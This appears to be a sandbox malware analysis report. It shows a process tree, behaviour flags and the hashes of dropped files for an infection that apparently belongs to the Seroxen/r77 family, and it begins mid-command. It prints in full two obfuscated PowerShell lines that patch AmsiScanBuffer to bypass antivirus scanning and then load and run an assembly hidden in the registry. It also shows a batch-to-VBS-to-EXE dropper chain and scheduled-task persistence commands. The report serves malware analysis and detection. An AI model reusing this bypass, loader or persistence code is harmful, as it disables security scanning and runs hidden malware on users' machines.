@([String])([IntPtr]);$FacMhWIjqyfkJYqAvzARLe=wTFGeKLwCGwp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$KadAdlmSAfL=$nQiVzsIuKNPrp.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+'.d'+[Char](108)+''+[Char](108)+'')));$lgIYZORAXJjjpY=$EsHoDxImuHnGnL.Invoke($Null,@([Object]$KadAdlmSAfL,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'br'+'a'+''+[Char](114)+''+[Char](121)+'A')));$VdWAkijbihiuIKXBK=$EsHoDxImuHnGnL.Invoke($Null,@([Object]$KadAdlmSAfL,[Object]('V'+'i'+''+[Char](114)+''+'t'+'ua'+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+'t'+'ect')));$ECXOWTV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lgIYZORAXJjjpY,$CFvKdRzLIMZdfooNbwq).Invoke(''+[Char](97)+'m'+'s'+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$MXGIHAllYocOpSLID=$EsHoDxImuHnGnL.Invoke($Null,@([Object]$ECXOWTV,[Object](''+'A'+''+[Char](109)+'s'+'i'+'S'+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'fer')));$tVXxvtCTrx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VdWAkijbihiuIKXBK,$FacMhWIjqyfkJYqAvzARLe).Invoke($MXGIHAllYocOpSLID,[uint32]8,4,[ref]$tVXxvtCTrx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MXGIHAllYocOpSLID,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VdWAkijbihiuIKXBK,$FacMhWIjqyfkJYqAvzARLe).Invoke($MXGIHAllYocOpSLID,[uint32]8,0x20,[ref]$tVXxvtCTrx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+'T'+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+'t'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:436
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OnSsTcGlTXoK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XUcvPfnTCWvqOu,[Parameter(Position=1)][Type]$vHwIcKoZfy)$ndcYvqnbyaY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+'l'+'e'+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+'g'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+'le',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'bli'+'c'+''+','+'S'+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+'ns'+[Char](105)+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'utoC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$ndcYvqnbyaY.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+'c'+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$XUcvPfnTCWvqOu).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+'i'+'m'+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$ndcYvqnbyaY.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+'o'+''+'k'+''+[Char](101)+'','Pub'+'l'+'i'+'c'+','+'H'+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+'l'+''+[Char](111)+''+'t'+''+[Char](44)+'V'+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$vHwIcKoZfy,$XUcvPfnTCWvqOu).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+'im'+[Char](101)+''+','+'Man'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $ndcYvqnbyaY.CreateType();}$KAVeurjRsvTdx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+'sof'+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+'n'+'s'+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+'ds');$fFRohqcbBryjgq=$KAVeurjRsvTdx.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'ProcA'+'d'+'dr'+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'bl'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'t'+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$puWELlAXwDIDaTBpruj=OnSsTcGlTXoK @([String])([IntPtr]);$uYjbIGVdjUlUsKtxIXuFRG=OnSsTcGlTXoK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JtSvBjpuBPO=$KAVeurjRsvTdx.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+'an'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+'n'+''+[Char](101)+'l'+[Char](51)+'2'+'.'+'d'+[Char](108)+'l')));$AYPmqDIAOtDNMA=$fFRohqcbBryjgq.Invoke($Null,@([Object]$JtSvBjpuBPO,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+'r'+[Char](121)+''+'A'+'')));$MdKSkucCENEKmqApC=$fFRohqcbBryjgq.Invoke($Null,@([Object]$JtSvBjpuBPO,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+'ua'+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$SEAEWxD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AYPmqDIAOtDNMA,$puWELlAXwDIDaTBpruj).Invoke('a'+[Char](109)+'s'+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$hYEQHedRelFhyavbr=$fFRohqcbBryjgq.Invoke($Null,@([Object]$SEAEWxD,[Object]('A'+[Char](109)+'s'+[Char](105)+''+'S'+'c'+'a'+''+[Char](110)+'B'+'u'+'f'+[Char](102)+'e'+'r'+'')));$boAometOlq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MdKSkucCENEKmqApC,$uYjbIGVdjUlUsKtxIXuFRG).Invoke($hYEQHedRelFhyavbr,[uint32]8,4,[ref]$boAometOlq);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hYEQHedRelFhyavbr,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MdKSkucCENEKmqApC,$uYjbIGVdjUlUsKtxIXuFRG).Invoke($hYEQHedRelFhyavbr,[uint32]8,0x20,[ref]$boAometOlq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+'T'+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue('$7'+[Char](55)+'s'+'t'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2748 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3480
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
PID:1064
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1212
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1224
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1264
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1308
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1388
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1452
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c:\windows\system32\sihost.exesihost.exe2⤵PID:3024
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1468
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1520
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1568
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1576
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1684
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1808
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1860
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1920
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1748
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:2144
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2348
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2364
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2372
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2432
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
PID:2576
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2592
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2616
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2624
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2696
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2916
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:3040
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3292
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3412
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\system32\findstr.exefindstr /e "'v" "C:\Users\Admin\AppData\Local\Temp\Uni.bat"3⤵PID:4596
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C:\Windows\system32\cscript.execscript //nologo C:\Users\Admin\AppData\Local\Temp\x.vbs3⤵PID:2648
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C:\Users\Admin\AppData\Local\Temp\x.exeC:\Users\Admin\AppData\Local\Temp\x.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\x.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
PID:912
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C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f5⤵
- Creates scheduled task(s)
PID:2944
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"5⤵
- Executes dropped EXE
PID:2240
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"4⤵
- Executes dropped EXE
PID:3576
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77x.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\x.exe'" /sc onlogon /rl HIGHEST4⤵
- Creates scheduled task(s)
PID:812
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3948
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3512
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4956
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵PID:2872
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2704
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:4372
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4812
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C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:4152
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C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:5100
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:1500
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe1⤵PID:4332
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4212
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
4KB
MD5e4870e835feab58e50c0a2a05fdb733b
SHA1d81f625b7dabc09e9fccd515dcd89c6c1da46ee6
SHA2560ca17ef0a09d95e6751b571a80cc965de79bda8e94c35bdee537c897951125b1
SHA512488234c5c66c3c18376ceff9493c2f12302dafce8b02cd7124bce7682031dad95712a8e652efe75629c101e3efa7347245892a8e89c735816c637ff7ecfb4cd5
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Filesize
560KB
MD57a0b5e602d8f8674134628255c8955b3
SHA1eb1171c299ac9dd2199d12d7084a9a68a8ab33ad
SHA2562629b725c93d70dde683bd0bf89e749d4e7c469096a3f0d89fcf09ea871c0021
SHA512b059685576ed14753eee0264a56f8d852036db659ec0aeb91527331ef967f349a8cd57c6f16302acdf6a900718e2588651aed051ed67e4a4f73bf4c0b00f4f41
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Filesize
409KB
MD57417c8c73e614f293152575f46134216
SHA1cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA25600c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
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Filesize
380B
MD5ec9a2fb69a379d913a4e0a953cd3b97c
SHA1a0303ed9f787c042071a1286bba43a5bbdd0679e
SHA256cf8268d158bb819ef158ff6ccbed64d5e379148a0adb1f73a082a01d56d0286b
SHA512fef8e24a680991046bd7dacd6079c7e48c3031fe46caae722ea93797ee16c052073ba97959e992ea71ac7ab72fbcedaa5cf4a410657aac4c10ad24de6935e9d6
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Filesize412B
MD565a63568e313872de0aded761edc8242
SHA18f9a0d8c74637e58b1c5c1c3328ca474dfb9667d
SHA256c25d3cb42bd8facaf6212a152603a9cbd5fc9b47ae1fedd472a39a007093c0c7
SHA51214c44f20f457d707dc701857dd1a5f0d7fc5435f86d91645c7b11e6827fab46eb5aa09ced3efb1e4810bde99c23cad4c612cc6f47767120118aa0784b67283db
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize3KB
MD5676d33d16eff06cd9468943bf1909c9a
SHA105a9d5c521f52406d118a15d0c26b0c426327529
SHA2567fe6f06531f00183f775c390f0f3e90047c291667c316314d949fe568cc9f55d
SHA5129e8915cf93a8f26ff916305b6abf9b4282e6006e6c8aee4232d234554e6badc4a3d2af101c4e0ce6191564f186f3792dbd60a8066095d1f71d1fbab9aaac0435
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5d61d7f65117823a52913b840feed43c6
SHA1e2580207e1611dcb229ee9d2b4bb0bd4dbcc884f
SHA256d0d50cb4ab1fe4b5dcb9c081d49b33381336fc0ebc7629702ed94d47f7032a86
SHA512e4cf12f3642ce8746f39bcfaa6265d105919d1cbe863119f4413aa4c5d307d7d69f0638bd0434d47f651e183ec209f02dd7d44954c790ef4d585155817ed8a3c